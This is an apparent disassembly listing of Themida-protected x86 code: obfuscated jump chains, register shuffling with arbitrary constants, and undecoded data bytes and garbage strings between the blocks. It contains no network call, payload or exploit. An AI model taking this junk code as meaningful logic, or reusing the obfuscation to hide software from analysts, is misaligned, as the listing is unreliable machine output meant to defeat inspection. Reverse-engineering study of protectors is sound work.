		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A8C5D
; ---------------------------------------------------------------------------


loc_5A1CF1:				; CODE XREF: Themida_:005A1807j
		xor	ebp, 7256744Bh
		jmp	loc_5AA092
; ---------------------------------------------------------------------------
		dd 8108E9C1h, 47885CC1h, 59CA8966h, 4208E2C1h, 0A7C28142h
		dd 0C138F252h, 0EA8108E2h, 0B56AA72Dh, 1AE9D001h, 8900004Bh
		dd 91B82404h, 0BD65AB70h, 78991496h, 23FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A1D35:				; CODE XREF: Themida_:00596A2Fj
		pop	eax
		xor	esi, 75E91882h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 45741EECh
		push	ebp
		jmp	loc_5AA890
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 99286ABFh, 5FFA292Ah, 4126E959h, 0C121FFFFh,	582434FFh
		dd 4C481h, 0EC830000h, 24148904h, 0FFEBFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1D7D:				; CODE XREF: Themida_:00599351j
		mov	ebp, 21F34F87h
		and	ebp, 17F6EBEh
		sub	ebp, 2A074C6Eh
		sub	ebp, 0D76C0214h
		jmp	loc_59619E
; ---------------------------------------------------------------------------


loc_5A1D99:				; CODE XREF: Themida_:0059A5D1j
		add	ecx, ebp
		pop	ebp
		dec	ecx
		push	ebp
		mov	ebp, 69FE66B2h
		jmp	loc_5A4264
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 0B4107E4h, 0FFC388E9h, 205FFh, 4330000h
		dd 24043124h, 8B240433h, 0F662424h, 9C2404B3h, 0FF40BBE9h
		dd 895259FFh, 4C281E2h,	81000000h, 4EAh, 24148700h, 1FD6E9h
		dd 95BE5600h, 0BD049D55h, 0FB62AA6Fh, 15EF501h,	8B04246Ch
		dd 0E957242Ch, 343Eh
; ---------------------------------------------------------------------------


loc_5A1E04:				; CODE XREF: Themida_:0059CE66j
		xor	bl, cl
		pop	cx
		push	bx
		mov	bl, 96h
		jmp	loc_5A7B3D
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 53240489h, 9327C4BBh, 31BD5537h, 105EE36h, 0E908246Ch
		dd 0FFFFA71Ah
; ---------------------------------------------------------------------------


loc_5A1E2C:				; CODE XREF: Themida_:0059EBD3j
		pop	eax
		jmp	loc_5A78DA
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0C224E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1E3A:				; CODE XREF: Themida_:0059D5CCj
		mov	eax, 4
		add	dword ptr [esp+4], 5A8D3D0Dh
		add	[esp+4], eax
		jmp	loc_59C16F
; ---------------------------------------------------------------------------
		dd 9E4FE8BDh, 81EDD145h, 4B28ACE5h, 0E3C58119h,	0E9734054h
		dd 5931h, 515FFE31h, 0C181E189h, 4, 8704E983h, 895C240Ch
		dd 6FB9240Ch, 0C14EB700h, 66E906E1h, 0F7FFFF66h, 4EC83DFh
		dd 0BD242C89h, 44F826CBh, 315DEF31h, 0F0015FFEh, 2404875Eh
		dd 243CD25Ch, 0C82AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1EAE:				; CODE XREF: Themida_:005A3406j
		shr	eax, 0Bh
		xor	ecx, eax
		push	3A37h
		mov	[esp], ebx
		push	ebp
		push	ebx
		push	558C6F40h
		pop	ebx
		push	edi
		mov	edi, 0B76608D0h
		add	ebx, edi
		pop	edi
		mov	ebp, ebx
		pop	ebx
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59CBB5
; ---------------------------------------------------------------------------


loc_5A1EE8:				; CODE XREF: Themida_:005A62F2j
		pop	ebp
		sub	ebp, 3F0F07FBh
		jmp	loc_598B57
; ---------------------------------------------------------------------------
		dd 749DC681h, 0DE294A55h, 749DEE81h, 0C5E94A55h, 57FFFFD6h
		dd 7CAFB850h, 0F0BF2258h, 1E89EE5h, 0EFC158C7h,	0CEE78108h
		dd 8174D06Bh, 70B7EFh, 4E7C109h, 0AC9EF81h, 0FE890ADEh
		dd 2844E95Fh, 66640000h, 6866028Bh, 896620CDh, 45E92404h
		dd 8FFFFF3Fh, 0FF5C2404h, 57E92434h, 1FFFFFCh, 24348BF3h
		dd 5E08950h, 4,	0E904C083h, 6362h
; ---------------------------------------------------------------------------


loc_5A1F68:				; CODE XREF: Themida_:005983CDj
		mov	ebx, 8855205h
		sub	dword ptr [esp+8], 6A905817h
		sub	[esp+8], ebx
		push	ebx
		push	6450h
		mov	[esp], esi
		push	4F7E7A81h
		pop	esi
		and	esi, 483B402Dh
		sub	esi, 0DDA9E7EAh
		mov	ebx, esi
		pop	esi
		jmp	loc_599A7D
; ---------------------------------------------------------------------------
		dd 0D9F7D1F7h, 84CE981h, 0C1E9C3FCh
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1FAB:				; CODE XREF: Themida_:005A3A50j
		add	ebp, ebx
		pop	ebx
		jmp	loc_5AA3A6
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2414h, 4C3h, 4C38300h, 8B241C87h, 89522424h, 4C281E2h
		dd 0E9000000h, 382Dh
; ---------------------------------------------------------------------------


loc_5A1FD4:				; CODE XREF: Themida_:005A8B89j
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_598811
; ---------------------------------------------------------------------------
		db 5, 0F4h, 5
		dd 0E801418Bh, 8B05F42Dh, 242C8B41h, 4C481h, 0C0830000h
		dd 1C5C6804h, 0DDE90000h, 64FFFFDBh, 79E932FFh
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2013:				; CODE XREF: Themida_:0059A6A9j
		xor	ebp, 1DCD3C90h
		not	ebp
		inc	ebp
		jmp	loc_5A60D3
; ---------------------------------------------------------------------------


loc_5A2021:				; CODE XREF: Themida_:00598AC8j
		mov	[esp], edx
		push	ecx
		mov	ecx, 509C0545h
		sub	ecx, 0F62D9E9h
		mov	edx, 18742638h
		sub	edx, 38502E01h
		add	edx, ecx
		add	edx, 38502E01h
		pop	ecx
		jmp	loc_596C0E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24348B04h, 0FF92D8E9h, 0EC8357FFh, 242C8904h, 0FF76DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2061:				; CODE XREF: Themida_:005A9D91j
		add	esp, 4
		jmp	loc_59AB3C
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 8D7h, 57240C89h,	0FF73C1E9h, 0B5BB53FFh
		dd 8927A002h, 0C6815BDEh, 48BF5AB9h, 0FF53DE87h, 875B240Ch
		dd 81E6D1DEh, 0A67980F6h, 2EE68117h, 813FCD11h,	35BDF9EEh
		dd 0A19AE935h, 0E1C1FFFFh, 0C1814906h, 58125F6Bh, 7B34E981h
		dd 0E981291Ah, 0AB26AF16h, 0F3E9CE31h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A20CB:				; CODE XREF: Themida_:0059FE6Bj
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		jmp	loc_5A1079
; ---------------------------------------------------------------------------


loc_5A20DC:				; CODE XREF: Themida_:005A7719j
		shr	eax, 3
		shr	eax, 6
		sub	eax, 0E4DAD5F8h
		mov	ebp, eax
		pop	eax
		jmp	loc_5A6B3C
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFE9242Ch, 1FFFFE0h, 0E0EA81FAh, 5F0F0A4Ch,	8102E2C1h
		dd 1C2h, 0D9C28100h, 89BD8FB1h,	0C3315AD0h, 5A68E958h
		dd 0C331FFFFh, 4EC8358h, 0E9240C89h, 0FFFF9E61h, 4B9h
		dd 59C80100h, 448CE9h, 0C0C2B600h, 0B15105E6h, 19E98044h
		dd 0F6EEC180h, 80D1F6D1h, 0CE00C7C1h, 0E9CE959h, 0C4830000h
		dd 0C4CE8104h, 9618CB39h, 2414F750h, 8124048Bh,	4C4h, 814E9600h
		dd 0AFF8F5C6h, 4EC83A1h, 89241C89h, 94EAE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A217E:				; CODE XREF: Themida_:0059659Ej
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A386C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5A2434FFh, 6804C483h, 48BDh,	50240C89h, 0FF8D31E9h
		dd 7C6858FFh, 0E9000037h, 2256h, 33EFBF57h, 0DFE966E6h
		dd 5200000Fh, 2BAh, 0E9D60100h,	0FFFF439Dh
; ---------------------------------------------------------------------------


loc_5A21C4:				; CODE XREF: Themida_:0059CE47j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 11690DB0h
		sub	esi, 74E91B56h
		sub	esi, 6625C5BDh
		shr	esi, 1
		shr	esi, 7
		push	4194h
		mov	[esp], ecx
		mov	ecx, 3E2C490Dh
		xor	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59A0A1
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 82h
		dd 0C059CE88h, 0C68005E6h, 0B057E9ADh, 15DFFFFh, 0D3E95FFDh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A223F:				; CODE XREF: Themida_:005AA88Bj
		push	ebp
		jmp	loc_59D6A4
; ---------------------------------------------------------------------------


loc_5A2245:				; CODE XREF: Themida_:005A234Ej
		sub	ecx, 19F92463h
		jmp	loc_596C06
; ---------------------------------------------------------------------------
		dd 8104EFC1h, 0C975F3E7h, 56BA5279h, 0C17BBB29h, 0EAC105E2h
		dd 81D2F707h, 0C7EE12EAh, 5AD729D0h, 2A83C781h,	0EFC18021h
		dd 81474708h, 52E054EFh, 5FFE0100h, 0FFCA03E9h,	0E08950FFh
		dd 405h, 40500h, 4870000h, 0C3815C24h, 4, 9F268h, 242C8900h
		dd 761A14BDh, 0E5C1457Dh, 81EDD103h, 0D86856F5h, 3C38175h
		dd 81246033h, 0F67C67C3h, 0ECC3814Bh, 166C82Fh,	0ECEB81EBh
		dd 0E966C82Fh, 0FFFFBDE3h, 0E9240C33h, 0FFFFCB95h
; ---------------------------------------------------------------------------


loc_5A22E0:				; CODE XREF: Themida_:0059C2C2j
		push	eax
		mov	eax, 26DD7F79h
		push	esi
		mov	esi, eax
		mov	ebx, esi
		pop	esi
		pop	eax
		jmp	loc_5A6B55
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 0C281E289h, 4, 5C92E9h, 3B636800h, 4890000h,	0F0E95324h
		dd 68FFFFE8h, 3CB157Eh,	83241C8Bh, 87E904C4h, 5BFFFFC2h
		dd 0AA1E6205h, 2DD00113h, 13AA1E62h, 2DBB535Ah,	4375DE66h
		dd 7822E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A2339:				; CODE XREF: Themida_:005A6C38j
		pop	ebx
		add	ecx, 19F92463h
		sub	ecx, 7EB5020Bh
		add	ecx, esi
		add	ecx, 7EB5020Bh
		jmp	loc_5A2245
; ---------------------------------------------------------------------------
		db 0BDh
		dd 154F23E9h, 15DE829h,	806858C6h, 8900005Eh, 0A8E92404h
		dd 9FFFF9Fh, 0C6815DEEh, 1, 1573EE81h, 8EE9C461h, 89000076h
		dd 19BB241Ch, 55697D72h, 0C628BFBDh, 0E9EB2174h, 0FFFF7DE7h
; ---------------------------------------------------------------------------


loc_5A2394:				; CODE XREF: Themida_:00598823j
		add	esp, 4
		push	ebp
		mov	ebp, 47F64406h
		add	ebp, 47D662B8h
		jmp	loc_59EB15
; ---------------------------------------------------------------------------


loc_5A23A8:				; CODE XREF: Themida_:0059EA81j
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_596459
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FE0D85B8h, 2EEF3515h, 354018ACh, 0D52236Fh,	5758C301h
		dd 0FF72B8E9h, 0B8505DFFh, 7B12669Bh, 0FF5A42E9h, 7FC681FFh
		dd 120EF7Ah, 7FEE81DEh,	0E920EF7Ah, 0FFFFAA06h,	4C781h
		dd 0EF810000h, 4, 5C243C87h, 57242489h,	4BFh, 246C8100h
		dd 0AE0B5604h, 2444811Fh, 0DD48B204h, 247C0161h, 246C8104h
		dd 0DD48B204h, 24448161h, 0AE0B5604h, 348B5F1Fh, 6604E924h
		dd 2C330000h, 242C3124h, 5C242C33h, 0B7241C89h,	6E7C061h
		dd 0E94CB050h, 0FFFF66FFh, 0C8B60F66h, 4EE668h,	241C8900h
		dd 0FF912FE9h, 2434FFFFh, 83242C8Bh, 0C48104C4h, 4, 4076E952h
		dd 3BAFFFFh, 0E951CF0Dh, 7635h
; ---------------------------------------------------------------------------


loc_5A2490:				; CODE XREF: Themida_:0059CA59j
		add	bl, dh
		pop	edx
		jmp	loc_597D07
; ---------------------------------------------------------------------------
a_bxun?1qL	db '_åžN?1Q¹l',0
		db 2Ah
		dd 59CD095Ah, 4633E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A24AE:				; CODE XREF: Themida_:005A4EBFj
		and	edi, 469915B2h
		neg	edi
		inc	edi
		xor	edi, 5DDE1AD5h
		xor	edi, 0C1729D89h
		add	ebx, edi
		jmp	loc_5AB0B0
; ---------------------------------------------------------------------------


loc_5A24CA:				; CODE XREF: Themida_:005A126Bj
		neg	eax
		xor	eax, 5D9B0DC2h
		xor	eax, 0F2ADC41Ch
		sub	edx, eax
		pop	eax
		sub	edx, eax
		add	edx, 517376DEh
		jmp	loc_5A4FAC
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0D337ECBh, 68ACEB81h, 0C3295030h, 68ACC381h,	0EB815030h
		dd 0D337ECBh, 4EC81h, 4890000h,	289B824h, 38E94EF6h, 5C000064h
		dd 24048B66h, 4EC81h, 0C890000h, 0B4E9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2526:				; CODE XREF: Themida_:005AB205j
		pop	esi
		jmp	loc_5A16F0
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFF50D7h, 56CBBB53h, 0DA290BFEh, 0FFB848E9h
		dd 55AEBAFFh, 0EAC1540Dh, 0E7895706h, 84EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A2551:				; CODE XREF: Themida_:0059DD9Cj
		mov	ebx, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_59AD89
; ---------------------------------------------------------------------------
		dd 57FB015Ah, 341D24BFh, 8BFB0128h, 0C483243Ch,	0BFC38104h
		dd 0E967A60Bh, 0FFFF7B18h, 8015C780h, 0EF8001EFh, 0E9DFF602h
		dd 0FFFF423Bh
; ---------------------------------------------------------------------------


loc_5A2588:				; CODE XREF: Themida_:0059BE26j
		or	eax, 51A412BFh
		jmp	loc_5A2ACF
; ---------------------------------------------------------------------------


loc_5A2592:				; CODE XREF: Themida_:005A16D8j
		push	4466h
		mov	[esp], ebp
		jmp	loc_59BE1D
; ---------------------------------------------------------------------------


loc_5A259F:				; CODE XREF: Themida_:005A6477j
		xchg	eax, edx
		jmp	loc_5A6A99
; ---------------------------------------------------------------------------
		db 53h,	83h, 0ECh
		dd 24248904h, 4240481h,	5B000000h, 4C381h, 0E9560000h
		dd 2F79h, 0F2316658h, 194DE9h, 0E9D92000h, 0FFFF9FAEh
		dd 262E8C2Dh, 0E79AE960h, 15FFFFFh, 0B4E95DEEh,	81FFFF61h
		dd 215D6EEFh, 0D5C78179h, 0E930667Eh, 2212h, 0C8BCB29h
		dd 5508E924h, 0EA810000h, 4, 2474FF52h,	6FB6E904h, 0C281FFFFh
		dd 4, 0FFCEDEE9h, 37355BFFh, 81531C56h,	477839C3h, 0CDC38121h
		dd 16FA343h, 0CBB951C3h, 814B691Ch, 867B65C1h, 81D1F766h
		dd 92DBFEC1h, 8BCB2921h, 0C481240Ch, 4,	7839EB81h, 5E92147h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2657:				; CODE XREF: Themida_:005974D2j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5A1C39
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2414h, 0FFFF381Ch, 4140F681h, 0DEF7164Bh, 6525BD55h
		dd 0EE01F029h, 0E9F5015Dh, 1A93h
; ---------------------------------------------------------------------------


loc_5A2688:				; CODE XREF: Themida_:005A18F7j
		add	al, dh
		pop	dx
		jmp	loc_5A3FFE
; ---------------------------------------------------------------------------
		db 88h,	0CAh, 52h
		dd 8850C688h, 58E188F4h, 48B665Ah, 2C48324h, 21F968h, 241C8900h
		dd 8904EC83h, 88502414h, 8BE688CCh, 0C4832404h,	6DBEE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A26C2:				; CODE XREF: Themida_:0059793Bj
		pop	esp
		jmp	loc_59B09A
; ---------------------------------------------------------------------------


loc_5A26C8:				; CODE XREF: Themida_:0059C541j
		add	ecx, 4
		push	1965h
		mov	[esp], ebx
		push	4
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 49D1519Fh
		sub	ecx, ebx
		push	edx
		mov	edx, 448D3FDBh
		push	ecx
		mov	ecx, 40E34842h
		or	ecx, 28C3448Eh
		push	ebx
		mov	ebx, 10233B9Eh
		add	ebx, 7EC42965h
		or	ebx, 2F15304Fh
		sub	ebx, 54554C32h
		or	ecx, ebx
		pop	ebx
		jmp	loc_59ED40
; ---------------------------------------------------------------------------
aH7		db '[hÄ7',0
		dd 24348900h, 792267BEh, 9DC68112h, 1ED86DDh, 24348BF7h
		dd 4C481h, 3C870000h, 0B60F5C24h, 538168C8h, 34890000h
		dd 18486824h, 24890000h, 24048124h, 4, 8124348Bh, 4C4h
		dd 4EC8100h, 0E9000000h, 265Eh
; ---------------------------------------------------------------------------


loc_5A276C:				; CODE XREF: Themida_:005A9AB1j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edx, 0FFFFFFFFh
		push	eax
		mov	eax, 1C3323CDh
		jmp	loc_5A0C61
; ---------------------------------------------------------------------------
		db 81h
		dd 0B30430EAh, 0FFD30103h, 815A2434h, 4C4h, 4C38100h, 0E9000000h
		dd 0FFFF940Dh, 9C18149h, 8105B413h, 0BC5E74EAh,	77C5E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A27C2:				; CODE XREF: Themida_:005A4ACFj
		mov	bl, ch
		pop	ecx
		and	bl, 45h
		shr	bl, 7
		shr	bl, 2
		add	bl, 9Eh
		xor	al, bl
		pop	ebx
		jmp	loc_5A11AF
; ---------------------------------------------------------------------------


loc_5A27D9:				; CODE XREF: Themida_:0059E29Fj
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A58AC
; ---------------------------------------------------------------------------


loc_5A27F0:				; CODE XREF: Themida_:005A1001j
		mov	edx, esp
		jmp	loc_5A5593
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFEA8BE9h, 4EC83FFh, 55240489h, 0F95885BDh,	0D9C58139h
		dd 454CBD2Ah, 0D3DAC581h, 0E889C4CEh, 0D22CE95Dh, 4B8FFFFh
		dd 1000000h, 58042444h,	0BE4CE95Eh, 1431FFFFh, 24143324h
		dd 21E5E95Ch, 68560000h, 1, 1C77095Eh, 0E92434FFh, 0FFFFF81Dh
		dd 8904EC83h, 4BF243Ch,	1000000h, 5F04247Ch, 8324048Bh
		dd 40504C4h, 83000000h,	1FE904E8h, 8900006Fh, 8340E9E0h
		dd 34FFFFFFh, 24685824h, 89000048h, 0AF682434h,	0E900003Ch
		dd 58D9h, 24048F5Bh, 48F545Ch, 61556824h, 34890000h, 321DBE24h
		dd 0CE812CCDh, 436191Dh, 0FFD799E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A28AD:				; CODE XREF: Themida_:005A0181j
		add	al, 53h
		push	dx
		mov	dh, 6Eh
		push	small 4DD2h
		jmp	loc_5A18F1
; ---------------------------------------------------------------------------
		dd 1C8BFC88h, 4C48324h,	88E68852h, 24148BF1h, 81E78957h
		dd 4C7h, 5E95200h, 66FFFF9Fh, 5057A1BAh, 31FEB866h, 0BD665566h
		dd 2966502Ch, 665D66E8h, 0BA665257h, 81665D6Ch,	6602D5F2h
		dd 4C83EA81h, 5AD78966h, 66F82166h, 0E8C1665Fh,	0AEB0E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2912:				; CODE XREF: Themida_:00598F8Ej
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 35CD32FCh
		jmp	loc_5A9C5C
; ---------------------------------------------------------------------------
		dd 0A460A5BEh, 2E6C155h, 0BEE9D6F7h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2933:				; CODE XREF: Themida_:0059D4C3j
		push	edx
		mov	edx, 3F8F0CDAh
		sub	eax, edx
		pop	edx
		add	eax, 2A8B25EFh
		add	eax, 3D1C6F4Ch
		jmp	loc_59ADC2
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	48704E8h, 2C895C24h, 57E58924h
		dd 772D68h, 24048900h, 0B9354AB8h, 84BD5513h, 0BF34276Eh
		dd 47E0A3D2h, 2C8BEF29h, 4C48124h, 29000000h, 24048BC7h
		dd 4C481h, 0ED810000h, 9167835h, 1D6FC581h, 0FD017BE1h
		dd 0FF366AE9h, 4EC81FFh, 0E9000000h, 19E1h, 0FFC0B60Fh
		dd 34FF8734h, 0A1ABE924h, 34FFFFFFh, 54505F24h,	582434FFh
		dd 4C481h, 4050000h, 51000000h,	75F8E9h, 4EC8100h, 89000000h
		dd 74FF243Ch, 8F5F0424h, 685C2404h, 515h, 50241C89h, 0E95162B4h
		dd 0FFFF9962h
; ---------------------------------------------------------------------------


loc_5A29F8:				; CODE XREF: Themida_:005A2EBEj
		mov	ecx, edi
		pop	edi
		sub	ecx, 8FF5AD3Ah
		sub	edx, ecx
		pop	ecx
		add	edx, ebx
		add	edx, 72C67FA3h
		jmp	loc_59D34B
; ---------------------------------------------------------------------------
		db 88h,	0F0h, 5Ah
		dd 34FF5A5Bh, 0C4835924h, 52D0F604h, 88C38853h,	241C8BDAh
		dd 39E0E9h, 3C875A00h, 2EE95C24h, 81FFFF5Eh, 4EAh, 24148700h
		dd 240C895Ch, 0FF4409E9h, 830FB7FFh, 148904ECh,	0E935B224h
		dd 0FFFFE8EFh
; ---------------------------------------------------------------------------


loc_5A2A58:				; CODE XREF: Themida_:005A7B82j
		mov	[esp], ebp
		mov	ebp, 4D8232D8h
		or	ebp, 0C846804h
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0B2798528h
		mov	esi, edx
		jmp	loc_5A92FA
; ---------------------------------------------------------------------------


loc_5A2A7C:				; CODE XREF: Themida_:0059AF59j
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		xchg	ecx, esi
		jmp	loc_59CE9C
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 0E7DEE924h, 34FFFFFFh, 0EC815A24h, 4, 0FF9D25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2AA1:				; CODE XREF: Themida_:0059B488j
		shr	ebx, 6
		neg	ebx
		jmp	loc_5990C6
; ---------------------------------------------------------------------------
		db 30h
		dd 1C8B66F8h, 2C48124h,	0C0000000h, 0E95107E8h,	36B2h
; ---------------------------------------------------------------------------


loc_5A2AC0:				; CODE XREF: Themida_:005A6080j
		add	edi, 55621668h
		add	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_597105
; ---------------------------------------------------------------------------


loc_5A2ACF:				; CODE XREF: Themida_:005A258Dj
		xor	eax, 27095264h
		jmp	loc_5A76FC
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 8B243C87h, 0F5E92424h, 0BD000079h, 0DA87844h, 63E9EF29h
		dd 0FF000010h, 5A042474h, 8B24048Fh, 0B8E92424h, 53FFFF67h
		dd 0EE551CBBh, 0F1CABA03h, 0DA01C576h, 5FFA015Bh, 0FF33EEE9h
		dd 241C89FFh, 88C88850h, 0E599E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2B26:				; CODE XREF: Themida_:0059D1AEj
		mov	[esp], esi
		push	70616826h
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_59792C
; ---------------------------------------------------------------------------


loc_5A2B3A:				; CODE XREF: Themida_:005A9B04j
		shl	esi, 8
		jmp	loc_5A079E
; ---------------------------------------------------------------------------


loc_5A2B42:				; CODE XREF: Themida_:005970A9j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		push	2580h
		jmp	loc_5A84A0
; ---------------------------------------------------------------------------


loc_5A2B58:				; CODE XREF: Themida_:00597199j
		push	esp
		pop	eax
		jmp	loc_5A6207
; ---------------------------------------------------------------------------


loc_5A2B5F:				; CODE XREF: Themida_:005972C8j
		dec	eax
		jmp	loc_5AB2FF
; ---------------------------------------------------------------------------
aPuS8BL3As6	db 'PU½˜8¸ Ål3²Aé6^',0
		align 4
aUsJ		db 'Ø,ué*J',0
		align 10h


loc_5A2B80:				; CODE XREF: Themida_:005A3D46j
		add	edi, 2EC051ACh
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A8094
; ---------------------------------------------------------------------------
aZb		db ')È-ZB',0
		dd 0E4A1E930h, 0C6FEFFFFh, 2807F680h, 0D8005AF0h, 0FE8FE953h
		dd 0C383FFFFh, 241C8704h, 0C0B60F5Ch, 67DCE9h, 1C335800h
		dd 241C3124h, 8B241C33h, 0E9512424h, 217h, 28E9D009h, 5E000004h
		dd 31E9EE01h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2BEB:				; CODE XREF: Themida_:005A66FEj
		add	edi, 384D50AFh
		sub	edi, 4EC013B5h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_596697
; ---------------------------------------------------------------------------
		dw 7FB8h
		dd 8111E960h, 8F231BC6h, 0E9C6011Ch, 0FFFFDFF1h, 4246C01h
		dd 81242C8Bh, 4C4h, 60E95B00h, 0C100006Ah, 0F68107E6h
		dd 7A8FFBBBh, 0E95EF229h, 0FFFF4124h, 0E9240489h, 3387h
		dd 0B951EA01h, 78DA4E6Bh, 53FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A2C59:				; CODE XREF: Themida_:005A7C21j
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		push	ecx
		mov	ecx, 0AEB7ABEh
		neg	ecx
		dec	ecx
		sub	ecx, 0E15A5929h
		add	esi, ecx
		pop	ecx
		jmp	loc_5A8A15
; ---------------------------------------------------------------------------
		db '\h|-',0
		dw 8900h
		dd 2B82404h, 1000000h, 9BE958C7h, 66FFFF3Ch, 663CA9BDh
		dd 5D66EA31h, 0FFEE1FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2CA1:				; CODE XREF: Themida_:005A9E30j
		pop	esi
		jmp	loc_59C69A
; ---------------------------------------------------------------------------
		db 81h
		dd 937663C2h, 14335E05h, 24143124h, 5C241433h, 0FFB08DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2CBD:				; CODE XREF: Themida_:0059D54Bj
		add	eax, 4
		jmp	loc_5968EB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 436CE900h, 1C330000h, 24248B24h, 9CC88566h, 0FF31ABE9h
		dd 0EC8158FFh, 4, 0BE243489h, 124819D6h, 5081B951h, 0EE813A7Ch
		dd 62C37655h, 0C681CE29h, 62C37655h, 81DEF759h,	0CBC959C6h
		dd 5EF001D7h, 644968h, 242C8900h, 815A5452h, 4C2h, 4EA8300h
		dd 5C241487h, 0E9240489h, 0FFFF99F9h, 734FE953h, 0ED81FFFFh
		dd 77C530AEh, 0D3F7DD87h, 0BA52DD87h, 70AE285Bh, 30DAEA81h
		dd 0CA816777h, 3E0D09E4h, 8103EAC1h, 0CF1DAEC2h, 5AD529EEh
		dd 0FF598BE9h, 24048FFFh, 6624248Bh, 66240C89h,	66C8B60Fh
		dd 11E99C51h, 81FFFF31h, 605A66C3h, 8EBC142h, 4EC81h, 3C890000h
		dd 5C86BF24h, 0FB298DD9h, 83243C8Bh, 0D83104C4h, 83241C8Bh
		dd 0B1E904C4h, 0C0000058h, 0EC8107E7h, 2, 24148966h, 0C780D1B6h
		dd 80F728B6h, 8B66B6EFh, 0C4812414h, 2,	8052EE80h, 0FE28B4C6h
		dd 0E9B4EE80h, 0FFFF4B83h
; ---------------------------------------------------------------------------


loc_5A2DD8:				; CODE XREF: Themida_:005A35C4j
		mov	[esp], ecx
		jmp	loc_59EC1C
; ---------------------------------------------------------------------------
